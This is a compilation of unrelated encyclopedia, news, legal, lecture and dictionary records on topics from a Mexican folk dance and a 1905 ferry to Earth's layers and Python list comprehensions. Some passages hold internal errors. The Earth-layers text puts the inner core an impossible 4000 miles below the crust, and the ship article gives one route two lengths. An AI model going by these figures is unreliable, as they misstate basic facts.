The Danza de los Viejitos is said have begun as a dance in the Mexican State of Michoacán in the Purépecha Region. The men that perform this dance are known as Danzantes or "Dancers." This dance was performed by four men that represent fire, water, earth, and air. Four dancers are also believed to be the correct number to dance in this traditional performance because there are four colors that make corn which is red, yellow, white, and blue. The dancers ask El Dios Viejo (The Old God) for good harvest, communication with spirits, and to learn about the past or to predict the future.
Clothing
A Danzante wears a top and bottom made out of a white blanket. It is topped with a "sarape," which is a blanket worn as a cloak in Latin America. Each sarape contains different designs and colors. They wear a hat made out of straw with adorned lengthy pieces of ribbon, each one a different color. The ribbon is parted down the middle of the hat, each one hanging 10 cm on the sides. Their shoes are sandals that have a wooden sole in order to make a tapping noise throughout their dance, followed by a wooden cane they also use. The dancers also wear a mask made out of either wood, cornstalk paste, or clay with an elderly man's face painted on it.
Music
The music consists of 3 instruments.
* Violin
* Clarinet
* Guitar | WIKI |
Beryl becomes first named Atlantic hurricane of 2018
Beryl has formed into a hurricane in the Atlantic Ocean.
(National Hurricane Center) Beryl became the first hurricane of the Atlantic season Friday as the storm made its way to the Lesser Antilles, the National Hurricane Center said. Beryl’s size was still small and there was much uncertainty in predicting the hurricane’s intensity because of its size, the agency said. The storm’s sustained winds were at 74 mph. “While Beryl is still forecast to quickly weaken or dissipate as a tropical cyclone on Monday before reaching the Lesser Antilles, there will likely be some rain and wind impacts on those islands early next week,” the agency said. “Residents there should monitor products from their local weather office for more information.” The National Hurricane Center predicted that the storm should hit the islands by 2 a.m. Monday. Subtropical Storm Alberto became the first named storm of the 2018 season. Alberto formed in May, just before the hurricane season kicked off June 1. It dumped heavy rain on the U.S. It’s unclear whether remnants of Beryl will reach the U.S. The Associated Press contributed to this report. | NEWS-MULTISOURCE |
SS Mona's Isle (1905)
SS Mona's Isle was a steam turbine passenger ship that was built in Scotland in 1905 as Onward, renamed Mona's Isle in 1920, and scrapped in Wales in 1948. She was designed as an English Channel ferry for the South Eastern and Chatham Railway (SE&CR), who operated her between Folkestone and Boulogne. In 1920 the Isle of Man Steam Packet Company (IoMSP) bought her and renamed her Mona's Isle. The IoMSP ran her mainly on summer services linking Douglas with Dublin and Belfast. She was the fourth IoMSP ship to be called Mona's Isle.
In 1918 Onward caught fire in Folkestone Harbour, and was saved by being scuttled. In 1920 she was raised, which was when the IOMSPCo bought her to replace ships lost during the First World War. In 1940 Mona's Isle was the first ship to complete a round trip during the Dunkirk evacuation, rescuing a total of 2,634 troops.
Building & dimensions
William Denny and Brothers built Onward at Dumbarton. She was launched on 11 March 1905 and completed that April. She had a steel hull, her registered length was 311.2 ft, her beam was 40.1 ft and her depth was 15.8 ft. Her tonnages were and.
She had a crew of 70, and was certified to carry 1,479 passengers. She had three screws, each driven by a steam turbine. Between them her three turbines developed a total of 7500 ihp and gave her a service speed of 22 kn.
Identification
Onward's UK official number was 120522 and her code letters were HCMF. By 1913 she was equipped for wireless telegraphy and her call sign was SEO. In 1914 this was changed to GUM. By 1930 her call sign was GFPN.
Onward
Onward served mainly the Folkestone – Boulogne route. Her most prestigious passenger in her cross-channel service was King Edward VII, who crossed from Dover to Calais aboard her on 4 May 1905. In 1907 she was joined by a sister ship, SS Victoria (1907), also built by William Denny and Brothers.
On 1 June 1908, Onward was involved in a head-on collision with another SE&CR ferry, TSS The Queen, killing the bow lookout man. After the collision, Onward returned to Folkestone, and from there to Dumbarton, where she spent a month in Denny's shipyard being repaired. When she returned to service, Onward became the fisst ferry to carry a motor car across the English Channel.
First World War
In the First World War Onward carried British Expeditionary Force troops on her regular route between Folkestone and Boulogne.
On 24 September 1918 a thermite bomb started a fire aboard Onward when she was moored alongside a pier in Folkestone Harbour. The fire took hold, and to prevent the fire spreading to the pier she was scuttled. She capsized onto her port side, and later was hauled upright by a team of five steam locomotives working together.
Mona's Isle
In the First World War the Admiralty had bought or chartered eleven IoMSP ships. After the war only four returned, so the company urgently needed replacement ships to resume peacetime services. In order to meet tourist demand in 1919 the company bought the Laird Line ship Hazel and renamed her SS Mona (1907). Next the IoMSP bought Onward's wreck and had her refitted. She was transferred to the IoMSP at Union Dock, Limehouse Basin, in the Port of London, and became the only IoMSP ship to carry the Manx flag down the River Thames. She began IoMSP service as Onward, and was renamed Mona's Isle on 27 August 1920. In 1920 the IoMSP also bought her sister ship Victoria.
Mona's Isle served various IoMSP routes, but mainly worked summer services linking Douglas with Belfast and Dublin. On Monday, 29 June 1936, she struck the Devil's Rock in Balscadden Bay, but reached Dublin safely. She was taking on water and had to be repaired before her return trip to Douglas.
Second World War
After the Second World War began, the Admiralty requisitioned several IoMSP ships and had them converted into ocean boarding vessels (OBVs). Mona's Isle was requisitioned on 24 September 1939. Toward the end of May 1940, Mona' Isle was one of eight IoMSP ships that were sent to Dunkirk to help to evacuate the British Expeditionary Force in Operation Dynamo. According to Admiralty records, Mona's Isle was the first ship to leave Dover for Dunkirk when the Dunkirk evacuation began, apart from the destroyer HMS Wolsey, whish acted a radio link ship.
Mona's Isle left Dover at 21:00 hrs on 27 May 1940. Her overnight crossing of the Strait of Dover was uneventful, and she docked in Dunkirk about midnight. She embarked 1,420 troops and she left at first light the next morning. [The signal to commence Operation Dynamo was given at 18:57 on 26 May. Therefore to qualify as the first ship to leave, it is more probable that Mona's Isle sailed from Dover at 21:00 that evening, not 27 May.]
Three routes were allocated to the evacuating vessels. The shortest was "Route Z", 39 nmi, which went west from Dunkirk along the French coast as far as No.6 Buoy, then turned west-northwest straight to Dover. The longest was "Route Y", 87 nmi, went east along the French and Belgian coast as far as Bray-Dunes then turned north-northeast until reaching the Kwinte Buoy. From there ships went west-northwest, then west to the North Goodwin Lightship, then south round the Goodwin Sands to Dover. "Route Y" was 55 nmi. It was the safest from German shore batteries, but passed through a heavily mined part of the English Channel. "Route X" went north from Dunkirk, through the Ruytingen Pass to the North Goodwin Lightship and then south around the Goodwin Sands to Dover. The combination of the minefields and sandbanks meant Route X could be used in daylight hours only.
Mona's Isle returned by Route Z and came under fire from German shore batteries on the French coast. Many shells exploded near her, spraying water over her decks. Some shells hit her but failed to explode. One fell aft and smashed her rudder. By differential use of port and starboard engines, the ship could still be steered. A Messerschmitt Bf 109 strafed her twice, killing 23 men and wounding 60. She reached Dover escorted by the destroyer HMS Windsor (D42). The mission had taken nearly 15 hours.
For their parts in the action her commanding officer, Cdr John Dowding RNR was awarded the Distinguished Service Order and Petty Officer LB Kearley-Pope, RNR was awarded the Distinguished Service Medal. He had remained at a 12-pounder gun despite multiple wounds, and took a great risk in coming out of cover to close the cordite boxes. There were casualties among the gun's crew, but Kearley-Pope continued his duties until the ship berthed six hours later. Cdr Dowding was later promoted to captain. In 1942 he was commodore of Convoy PQ 17 to Russia, which was forced to scatter and suffered heavy losses.
Mona's Isle made a second round trip to Dunkirk, evacuating another 1,200 troops, and bringing her total to 2,634.
Mona's Isle spent the rest of the war as an OBV and then an accommodation ship. She was transferred to the River Tyne in 1941, where she contributed to the anti-aircraft defence of coastal convoys. Twice she assisted cargo ships that had been bombed, in one case rescuing 32 survivors. But three times she was involved in collisions, one of which did extensive damage for which she spent three months being repaired in dry dock. After the Normandy landings she provided cross-Channel transport until June 1945, when the Ministry of War Transport chartered her. She was returned to her owners in March 1946.
Post-war
After the Second World War, Mona's Isle returned to IoMSP service. She was withdrawn when the "Six Sisters" entered service in 1948. She arrived at Milford Haven in Wales on 12 October 1948 to be scrapped. | WIKI |
The UPS employee who died after his truck was hijacked was covering the route for another driver, brother says
(CNN)UPS employee Frank Ordonez was killed Thursday after armed robbery suspects hijacked the UPS truck he was driving and led police on a chase that ended in a fatal shootout in Broward County, Florida, his brother said. Ordonez, a 27-year-old father of two young girls, was "outgoing and happy," his brother, Roy Ordonez, told CNN. "You never knew when he was sad." Frank Ordonez liked to fish and to play basketball and video games, his brother said. But "most of all," he said, "what Frank really liked to do is spend time with his daughters," ages 3 and 6 years old. When the hijacking unfolded, Ordonez was covering the route for a driver who had called out, his brother said. Ordonez "was just going to work to provide for his two little girls," his brother wrote on a GoFundMe page in which he also criticized the police response. The page was set up to help educate Ordonez's daughters, cover funeral costs and pay for a lawyer, Roy Ordonez said. It had raised more than $20,000 in just a few hours. He had been working for UPS since 2016, the company said in a statement. "This senseless act of violence has impacted many on a personal level. Our deepest sympathies go to Frank's family, friends and other innocent victims of this heartbreaking incident," UPS said. Joe Merino, Ordonez's stepfather, told CNN affiliate WSVN his family thinks the officers' actions should be investigated and not "get swept under the rug." "Why didn't they secure the area, another innocent victim was killed ... Where was the SWAT team that normally handles all the hostage situations? Where was the long sniper? Where were the hostage negotiators?" Merino said. "They came in full force," he said. Four people were killed during Thursday's incident, including Frank Ordonez, the two robbery suspects and a bystander at the end of the chase, FBI Special Agent in Charge George Piro said. The chase began after two suspects tried to rob a Regent Jewelers shop in Coral Gables, city Police Chief Edward Hudak Jr. said. One woman was injured in the robbery. The suspects stole the UPS truck Ordonez was driving, took him hostage and sped away, Coral Gables police said. Dozens of police officers and vehicles appeared to pursue the truck as it sped through traffic, live aerial footage from CNN affiliate WSVN showed. The chase came to a tragic end when the UPS truck met stopped traffic at an intersection. Police exited their vehicles and approached the truck with their weapons drawn, using bystanders' vehicles as cover. The driver of the truck left the steering wheel. Seconds later, at 5:35 p.m., gunshots rang out. It's unclear whether the first shots came from inside the truck or from police. Whether the UPS driver or the slain bystander was hit by police fire is part of the investigation, the FBI's Piro said. CNN's Melissa Gray and Nicole Chavez contributed to this report. | NEWS-MULTISOURCE |
Mary Jane McKenna
Mary Jane McKenna is an American Republican politician from Holden, Massachusetts. She represented the 1st Worcester district in the Massachusetts House of Representatives from 1985 to 1993. | WIKI |
User:Sjdpr
San Jose Police Department, Reserve Unit
History of the Police Reserve Unit:
On December 8, 1941, one day after the attack on Pearl Harbor, J.N. Black, Chief of Police of San Jose, called for the formation of a civilian emergency police unit to be part of the police department. In 1960, the organization was renamed The San Jose Police Reserve Unit and it is part of the San Jose Police Department. The responsibilities of the organization were broadened to include not only the civil defense aspects, but general police and law enforcement duties as well. Standards in selection of personnel and training were upgraded to meet and to be in compliance with P.O.S.T., D.O.J., state, and federal laws.
Who are the Reserve Police Officers?
The Reserve Police Officers represent a wide variety of civilian or other government occupations. Some are teachers, engineers, corporate managers, business owners, medical doctors, attorneys, retired police officers, full-time police officers from different police agencies, federal agents, and many others. They are on call to the Police Department 24 hours a day seven days a week. When on duty they are classified as Police Officers with full powers of arrest (830.1 P.C.) whose authority extends to any place in the State. The Reserve Police Officers have the same duties and responsibilities as regular officers. In addition to regular law enforcement duties, they may be called upon to assist in time of major disasters such as fires, floods, and earthquakes. The Reserve Unit performs many community service activities, which include parades, ride-a-long programs, Walk America, and Christmas in the Park. The San Jose Police Department provides an on going training program for its Reserve Police Officers.
The San Jose Police Reserve Unit consists of over 160 well-qualified individuals who have completed the Basic Police Academy or the Reserve Police Academy (Prior to 1997) and are appointed by the Chief of Police and the City Manager. The Reserve Unit is part of the Police Department; therefore it maintains compliance with the same policies, procedures, and duty manual as full time police officers.
What areas can Reserve Police Officers work?
Reserve Police Officers work in all phases of the police department such as Background Investigations, Testing and Records, Recruiting, Professional Standard and Conduct Unit (Internal Affairs), Training, Bicycle Patrol, Traffic Enforcement, Metro (Street Crimes), Curfew, Youth Services Detail (Y.S.D.), Patrol Division, Anti-Graffiti, Auto Theft Task Force, Narcotics, Cruise Management Detail (C.M.D.), Airport Division, and many other areas.
The San Jose Police Reserve Unit has received support and leadership from the San Jose Police Department for the past 60 years. The San Jose Police Reserve Unit is one of the oldest organizations of its kind in existence in the United States. The organization continues to contribute over 45,000 hours per year to the City of San Jose.
Level One Reserve Police Officer:
The following are minimum requirements for Level I status:
* Completion of Basic P.O.S.T. Academy. * Level one (lateral with state P.O.S.T Level-1 certificate issued before January 1, 1997). * Completion of the San Jose Police Department POST certified F.T.O. program. * Pass the Police Department probationary board review.
This is a gun carrying and a full sworn position under 830.6.(a)(2) P.C. The authority of a person designated as a peace officer pursuant to this section includes the full powers and duties of a peace officer as provided by section 830.1 P.C. whose authority extends to any place in the State. The reserve peace officers in this section are assigned to the prevention and detection of crime and the general enforcement of the laws of this state. Level one peace officers may work alone (without immediate supervision), with another level one officers, or with a full-time officer. Level one peace officers may work in any phases of the police department. Level one peace officers are eligible for promotions.
Training:
The Reserve Police Officer Filed Training Program it is exactly the same as the full-time Police Officers Training Program. Reserve Police Officers are required to study the same policies, procedures, and duty manual.
All three shifts-day, swing, and midnight-must be worked. The Reserve Recruit Officers will be evaluated by an F.T.O. (field training officer). The recruit officers are expected to perform as solo beat officers at the end of their training program. During the 500 hours of F.T.O. training, the Recruit Reserve Officers will be evaluated on job training performance, given written exams, quizzes, midterm, and the final exam. Each test must be passed.
Once the Officers successfully complete the 500 hours of POST certified training program, they are required to go to the probationary board and must be able to answer any questions from the duty manual, Departmental policies, and procedures. Recruits' performance during the F.T.O. program will also be evaluated.
Selection Process:
1) Job Application 2) Written Test 3) Physical Agility 4) Written Psychological Exam 5) Oral Psychological Interview 6) Polygraph Examination 7) Background investigation 8) Medical Examination 9) Director's Interview 10) Staff Board Review
Ranking Structure:
The Reserve Unit has an internal ranking structure identical to the full-time police department. The full-time San Jose Police Duty Manual grants the reserve police rank the same authority as a full-time San Jose Police Officer rank to insure a complete and smooth operation of the department. It allows the Level One Reserve Police Officers the opportunity to be promoted within the Reserve Unit to Police Sergeant, Police Lieutenant, Police Captain, Police Deputy Chief, and Assistant Chief of Police. | WIKI |
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60 now I am old; still I can go with my knights and give them that counsel which old men have a right to give. The wielding of the spear I leave to those who are younger and stronger than myself."
Agamemnon went his way rejoicing, and presently found Menestheus, son of Peteos, tarrying in his place, and with him were the Athenians loud of tongue in battle. Near him also tarried cunning Ulysses, with his sturdy Cephallenians round him; they had not yet heard the battle-cry, for the ranks of Trojans and Achæans had only just begun to move, so they were standing still, waiting for some other columns of the Achæans to attack the Trojans and begin the fighting. When he saw this Agamemnon rebuked them and said, "Son of Peteos, and you other, steeped in cunning, heart of guile, why stand you here cowering and waiting on others? You two should be of all men foremost when there is hard fighting to be done, for you are ever foremost to accept my invitation when we councillors of the Achæans are holding feast. You are glad enough then to take your fill of roast meats and to drink wine as long as you please, whereas now you would not care though you saw ten columns of Achæans engage the enemy in front of you."
Ulysses glared at him and answered, "Son of Atreus, what are you talking about? How can you say that we are slack? When the Achæans are in full fight with the Trojans, you shall see, if you care to do so, that the father of Telemachus will join battle with the foremost of them. You are talking idly."
When Agamemnon saw that Ulysses was angry, he smiled pleasantly at him and withdrew his words. "Ulysses," said he, "noble son of Laertes, excellent in all good counsel, I have neither fault to find nor orders to give you, for I know your heart is right, and that you and I are of a mind. Enough; I will make you amends for what I have said, and if any ill has now been spoken may the gods bring it to nothing." | WIKI |
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PUBLIC LAW 109–112—NOV. 22, 2005
119 STAT. 2369
Government to prevent the proliferation of ballistic or cruise missile systems in Iran and other countries that have repeatedly provided support for acts of international terrorism, as determined by the Secretary of State under section 620A(a) of the Foreign Assistance Act of 1961 (22 U.S.C. 2371(a)), section 6(j) of the Export Administration Act of 1979 (50 U.S.C. App. 2405(j)), or section 40(d) of the Arms Export Control Act (22 U.S.C. 2780(d)).’’. SEC. 4. AMENDMENTS TO THE IRAN NONPROLIFERATION ACT OF 2000 TO MAKE SUCH ACT APPLICABLE TO IRAN AND SYRIA.
(a) REPORTS ON PROLIFERATION RELATING TO IRAN OR SYRIA.— Section 2 of the Iran Nonproliferation Act of 2000 (Public Law 106–178; 50 U.S.C. 1701 note) is amended— (1) in the heading, by striking ‘‘TO IRAN’’ and inserting ‘‘RELATING TO IRAN AND SYRIA’’; and (2) in subsection (a)— (A) in the matter preceding paragraph (1)— (i) by inserting ‘‘or acquired from’’ after ‘‘transferred to’’; and (ii) by inserting after ‘‘Iran’’ the following: ‘‘, or on or after January 1, 2005, transferred to or acquired from Syria’’; and (B) in paragraph (2), by inserting after ‘‘Iran’’ the following: ‘‘or Syria, as the case may be,’’. (b) DETERMINATION EXEMPTING FOREIGN PERSONS FROM CERTAIN MEASURES.—Section 5(a) of the Iran Nonproliferation Act of 2000 (Public Law 106–178; 50 U.S.C. 1701 note) is amended— (1) in paragraph (1), by striking ‘‘transfer to Iran’’ and inserting ‘‘transfer to or acquire from Iran or Syria, as the case may be,’’; and (2) in paragraph (2), by striking ‘‘Iran’s efforts’’ and inserting ‘‘the efforts of Iran or Syria, as the case may be,’’. (c) RESTRICTION ON EXTRAORDINARY PAYMENTS IN CONNECTION WITH THE INTERNATIONAL SPACE STATION.—Section 6(b) of the Iran Nonproliferation Act of 2000 (Public Law 106–178; 50 U.S.C. 1701 note) is amended— (1) in the heading, by striking ‘‘TO IRAN’’ and inserting ‘‘RELATING TO IRAN AND SYRIA’’; (2) in paragraphs (1) and (2), by striking ‘‘to Iran’’ each place it appears and inserting ‘‘to or from Iran and Syria’’; and (3) in paragraph (3), by striking ‘‘to Iran’’ and inserting ‘‘to or from Iran or Syria’’. (d) DEFINITIONS.—Section 7(2) of the Iran Nonproliferation Act of 2000 (Public Law 106–178; 50 U.S.C. 1701 note) is amended— (1) in subparagraph (C) to read as follows: ‘‘(C) any foreign government, including any foreign governmental entity; and’’; and (2) in subparagraph (D), by striking ‘‘subparagraph (B) or (C)’’ and inserting ‘‘subparagraph (A), (B), or (C), including any entity in which any entity described in any such subparagraph owns a controlling interest’’. (e) SHORT TITLE.— (1) AMENDMENT.—Section 1 of the Iran Nonproliferation Act of 2000 (Public Law 106–178; 50 U.S.C. 1701 note) is
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What does nicergoline mean?
Definitions for nicergoline
Here are all the possible meanings and translations of the word nicergoline.
Wiktionary
1. nicergoline(Noun)
An ergot derivative used to treat senile dementia and other disorders with vascular origins.
Freebase
1. Nicergoline
Nicergoline is an ergot derivative used to treat senile dementia and other disorders with vascular origins. It has been found to increase mental agility and enhance clarity and perception. It decreases vascular resistance and increases arterial blood flow in the brain, improving the utilization of oxygen and glucose by brain cells. It has similar vasoactive properties in other areas of the body, particularly the lungs. It is used for vascular disorders such as cerebral thrombosis and atherosclerosis, arterial blockages in the limbs, Raynaud's disease, vascular migraines, and retinopathy. Nicergoline has been registered in over fifty countries and has been used for more than three decades for the treatment of cognitive, affective, and behavioral disorders of older people.
U.S. National Library of Medicine
1. Nicergoline
An ergot derivative that has been used as a cerebral vasodilator and in peripheral vascular disease. It has been suggested to ameliorate cognitive deficits in cerebrovascular disease.
Numerology
1. Chaldean Numerology
The numerical value of nicergoline in Chaldean Numerology is: 4
2. Pythagorean Numerology
The numerical value of nicergoline in Pythagorean Numerology is: 3
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Chapter: Appendix: Python language concepts
Lecture: Concept: list comprehensions
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0:01 Python has a great declarative way to process a set of items and either turn it into a list, a dictionary, a set or a generator.
0:10 Let's look at the list version through an example. Here we have some get_active_customers method,
0:17 maybe it goes to a database, maybe it just goes to some data structure, it doesn't really matter, but it comes back with an iterable set of users,
0:24 so we could loop over all of the users, using a "for...in" loop to find the users who have paid today and get their usernames and put that into a list.
0:34 So what we do is we create a list, some name paying usernames and we'd "for...in" over those to loop over all of them and then we do a test,
0:42 we'd say if that particular user's last purchase was today then append to their username to this paying usernames list.
0:51 And then in the end, we'd have a list, which is all the usernames of the customers you bought something from us today.
0:57 This would be an imperative users' search, an imperative style of programming, where you explicitly say all the steps,
1:03 let's see how we could do this instead with the list comprehension. Here you'll see many of the same elements,
1:10 and it looks like we are declaring a list, so [ ] in Python means declare an empty list, but there is stuff in the middle.
1:17 The way you read this you kind of got to piece it together, maybe top to bottom is not necessarily the best way to put this all together
1:23 but let's go top to bottom for a minute and then I'll pull out the pieces for you. So, we are going to get the name of the user,
1:28 and we are going to later introduce a variable called "u", which is the individual user for the set we are going through, so we'd say u.name,
1:34 that's like our projection that we want, and there is a "for...in" statement, like we had before, where we get the active customers
1:41 and we are going to process them, and then there is some kind of test whether or not that particular user should be in this set.
1:47 So, we set the source, that's going to be out get_active_customers and we are going to express that we are iterating over that for "u" in that set
1:56 and "u" declares the local variable that we are going to work with, we are going to filter on that with an "if" test,
2:01 and finally we are going to do some kind of projection, we could just say "u" to get all the users, here we want all the usernames
2:07 so we say u.name. Now, there are multiple structures like this in Python, we could have parenthesis that would generate a generator,
2:14 but as I said before, [ ] represents list, and so when you have the [ ] here,
2:19 you know what is going to come out is a list, and this is a list comprehension.
2:24 Once you get used to it, you'll find this style of programming is a little cleaner and a little more concise.
2:30 It's also different in another important way, because this can be just part of a larger expression,
2:35 this could be say in inline argument to a method you are calling. Or, you could chain it together with other comprehensions,
2:43 or other types of processing. The imperative style of programming required separate language structures that required their own blocks,
2:52 so you can't really compose "for...in" loops but you can compose these comprehensions
2:55 which makes then really useful in places the "for...in" loop wouldn't be.
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Three Layers of Earth – Crust, Mantle and Core
Layers of Earth
Layers of Earth : Our Planet, the Earth is made up of different layers. Each layer of the Earth has unique properties. In 1692, Edmond Halley put forth the idea of a hollow Earth consisting of a shell about 500 miles (800 km) thick, two inner concentric shells and an innermost core. He suggested that atmospheres separated these shells, and that each shell had its own magnetic poles, with each sphere rotating at a different speed.
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Layers of the Earth
The Earth’s Layers
The three major layers of Earth are
1) Crust
2) Mantle
3) Core
The Crust
• The crust is the outer layer of the earth.
• It is a thin layer between 0-60 km thick.
• The crust is the solid rock layer upon which we live.
• The Earth’s Crust is like the skin of an apple.
• It is very thin in comparison to the other layers.
• The crust is only about 3-5 miles (8 kilometers) thick under the oceans (oceanic crust) and about 25 miles (32 kilometers) thick under the continents (continental crust).
• The temperatures of the crust vary from air temperature on top to about 1600 degrees Fahrenheit (870 degrees Celsius) in the deepest parts of the crust.
• The crust of the Earth is broken into many pieces called plates.
• The plates “float” on the soft, plastic mantle which is located below the crust.
• These plates usually move along smoothly but sometimes they stick and build up pressure.
• The pressure builds and the rock bends until it snaps. When this occurs an Earthquake is the result.
• The seven continents and ocean plates basically float across the mantle which is composed of much hotter and denser material.
• The crust is composed of two basic rock types granite and basalt.
What is SIAL & SIMA?
• SIAL is upper layer of the Crust. It is made up of rocks abundant in silicate and aluminium based minerals.
• SIMA is lower layer of the Crust. It is made up of rocks abundant in magnesium silicate minerals.
• SIAL makes up a majority of continental crust. SIMA makes up a majority of oceanic crust.
Lithosphere
• The crust and the upper layer of the mantle together make up a zone of rigid, brittle rock called the Lithosphere.
Asthenosphere
• The layer below the rigid lithosphere is a zone of asphalt-like consistency called the Asthenosphere. It is the part of the mantle that flows and moves the plates of the Earth.
The Mantle
• The mantle is the largest layer of the Earth, 1800 miles thick.
• The mantle is composed of very hot, dense rock.
• This layer of rock even flows like asphalt under a heavy weight. This flow is due to great temperature differences from the bottom to the top of the mantle.
• The mantle is the widest section of the Earth. It has a thickness of approximately 2,900 km.
• The mantle is made up of semi-molten rock called magma.
• In the upper parts of the mantle the rock is hard, but lower down the rock is soft and beginning to melt.
• The movement of the mantle is the reason that the plates of the Earth move.
• The temperature of the mantle varies from 1600 degrees Fahrenheit at the top to about 4000 degrees Fahrenheit near the bottom.
The Core
Core is further divided into two layers. ie Outer Core and Inner Core.
Outer Core
• The core of the Earth is like a ball of very hot metals. (4000 degrees F. to 9000 degrees F.)
• The outer core is the layer surrounding the inner core.
• The outer core is so hot that the metals in it are all in the liquid state and also made up of iron and nickel.
• It is still extremely hot, with temperatures similar to the inner core.
• The outer core is located about 1800 miles beneath the crust and is about 1400 miles thick.
• The outer core is composed of the melted metals nickel and iron.
Inner Core
• The inner core of the Earth has temperatures and pressures so great that the metals are squeezed together and are not able to move about like a liquid, but are forced to vibrate in place as a solid.
• The inner core begins about 4000 miles beneath the crust and is about 800 miles thick.
• The temperatures may reach 9000 ° F and the pressures are 45,000,000 pounds per square inch.
• This is 3,000,000 times the air pressure on you at sea level.
• The inner core is in the centre and is the hottest part of the Earth.
• It is solid and made up of iron and nickel with temperatures of up to 5,500°C. With its immense heat energy, the inner core is like the engine room of the Earth.
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The oases farther removed from the Nile and forming a physical dependence of Cyrenaica rather than of the fluvial region, constitute the Siwah group, famous in ancient times for the oracle of Ammon, which, according to Herodotus, was of equal antiquity with that of Dodona. Siwah and Agermi, the two chief towns in the oasis, are built of nummulitic limestone and blocks of impure rock salt, each on the slope of a rocky hill. Their outer walls and terraces are so disposed as to form irregular fortresses of extremely picturesque appearance. That of Siwah, approached by no less than fifteen gates, has a circumference of not more than 1,260 feet, and its ramparts are surmounted by high, square, and round towers, all
of different form. These towers are in reality so many houses piled up close together, and built over a labyrinth of subterranean galleries. The town thus grows in height before its base is broadened out.
The temple of Jupiter Ammon, whither the Macedonian conqueror went to have himself oracularly proclaimed master of the world, is still standing near Agermi, and within half a mile are visible the ruins of another sanctuary amid the surrounding palm-trees. The hieroglyphics on this building have not yet been deciphered. The Jebel-el-Mutah, one of the isolated crags in the Siwah depression, is honeycombed in all directions by the galleries of a necropolis. °
Dates are the staple commodity of Siwah. M. Jourdan made an attempt to calculate the produce of the date groves in this oasis, taking as a standard of measurement the cube of the fruit accumulated for the expedition on the market- | WIKI |
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ECC support
I found many reports that Clarkdale CPUs (at least i3/i5) has full ECC support, see: http://www.silentpcreview.com/forums/viewtopic.php?p=525519&sid=5833c5a9d66262de7d1fc8c87a503f56#p525519
The documentation isn't clear on this point, but seems like the truth is that there's ECC support in each Clarkdale CPUs. — Preceding unsigned comment added by <IP_ADDRESS> (talk) 20:42, 14 February 2014 (UTC)
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cantilever
(kăn`təlēvər), beam supported rigidly at one end to carry a load along the free arm or at the free end. A slanting beam fixed at the base is often used to support the free end, as in a common bracket. The springboard is a simple cantilever beam, and the cantilever design is often used for canopies, balconies, sidewalks outside the trusses of bridges, and large cranes such as those used in shipyards. By the use of cantilever trusses, obstructing columns are eliminated in theaters. The cantilever principle is one of the methods that may be used in constructing a bridgebridge,
structure built over water or any obstacle or depression to allow the passage of pedestrians or vehicles. See also viaduct. Early Bridges
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Cantilever
A structural member or any other element projecting beyond its supporting wall or column and weighted at one end to carry a proportionate weight on the projecting end.
Cantilever
a structure (for example, a girder or a truss) with one end that is stably secured and another that is free; it can also be a part of a structure extending beyond the support. A cantilever is generally used when the installation of additional supports is impossible or inadvisable (for example, the supporting structure of a balcony or ledge). An outrigger is a form of cantilever. A distinctive feature of a cantilever is that determination of load stresses does not require preliminary calculation of bearing pressures but examination of the conditions of equilibrium of the free part of the cantilever.
Cantilever
an overhanging support element or structure used to attach parts of machines or structures to a vertical wall or column. Structurally, cantilevers are made as an independent part with a diagonal strut or as a considerably thickened portion of the basic element.
Cantilevers are usually used for the installation of bearings, individual machine assemblies, and equipment on transmission towers and supports. In architecture, which uses ordered elements, a cantilever, or corbel, is usually a projection from within a wall, which is often shaped (with decorative scrolls, volutes, or other ornamentations). The cantilever is used for supporting balconies or greatly protruding cornices.
cantilever
[′kant·əl‚ē·vər]
(engineering)
A beam or member securely fixed at one end and hanging free at the other end.
(engineering)
In particular, in an atomic force microscope a very small beam that has a tip attached to its free end; the deflection of the beam is used to measure the force acting on the tip.
Cantilever
A linear structural member supported both transversely and rotationally at one end only; the other end of the member is free to deflect and rotate. Cantilevers are common throughout nature and engineered structures; examples are a bird's wing, an airplane wing, a roof overhang, and a balcony. See Wing
A horizontal cantilever must be counterbalanced at its one support against rotation. This requirement is simply achieved in the design of a playground seesaw, with its double-balanced cantilever. This principle of counterbalancing the cantilever is part of the basic design of a crane, such as a tower crane (see illustration). More commonly, horizontal cantilevers are resisted by being continuous with a backup span that is supported at both ends. This design is common for cantilever bridges; all swing bridges or drawbridges are cantilevers. See Bridge
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Cantilever configuration in the form of a tower support crane
Vertical cantilevers primarily resist lateral wind loads and horizontal loads created by earthquakes. Common vertical cantilevers are chimneys, stacks, masts, flagpoles, lampposts, and railings or fences. All skyscrapers are vertical cantilevers. One common system to provide the strength to resist lateral loads acting on the skyscraper is the use of a truss (known as bracing). See Buildings, Shear, Truss
Some of the largest cantilevers are used in the roofs of airplane hangars. It has become common practice to include cantilevers in the design of theaters and stadiums, where an unobstructed view is desired; balconies and tiers are supported in the back and cantilevered out toward the stage or playing field so that the audience has column-free viewing. See Beam, Roof construction
cantilever
cantilever, 2
1. A beam, girder, truss, or structural member or surface that projects horizontally beyond its vertical support, such as a wall or column.
2. A projecting bracket used for carrying the cornice or extended eaves of a building.
cantilever
cantilever
An example of cantilever.
A structure having sufficient internal stiffness to resist a tendency to bend under its own load when supported at one end only. Modern aircraft wings are cantilever structures, and the term is also applied to unbraced undercarriages.
cantilever
1.
a. a beam, girder, or structural framework that is fixed at one end and is free at the other
b. (as modifier): a cantilever wing
2. a wing or tailplane of an aircraft that has no external bracing or support
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Amy of Garmoran
Amy of Garmoran also known as Amie MacRuari and Euphemia was a 14th-century Scottish noblewoman who was the sister of Raghnall mac Ruaidhri, Lord of Garmoran and the spouse of John of Islay. After her marriage had produced three sons, the ambitious John of Islay divorced her in order to remarry and cement his links with the House of Stewart. She then retired to her estates in the Highlands and Islands, and completed various ecclesiastical and other building projects. Her son Ranald was the progenitor of Clanranald.
Descent
Amie was a direct descendant of Somhairle mac Gille-Brighde (better known as Somerled), through her great-grandfather Ruaidhri mac Raghnaill, the founder of Mac Ruaidhri kindred.
Ruaidhri's son Ailean mac Ruaidhri possessed the "North Isles" of the Uists, and Benbecula. He is known to have attended Parliament in 1285 when the succession of Margaret, Maid of Norway was debated and to have added Barra to his lands in 1309. His illegitimate son Ruaidhri mac Ailein was Amie's father.
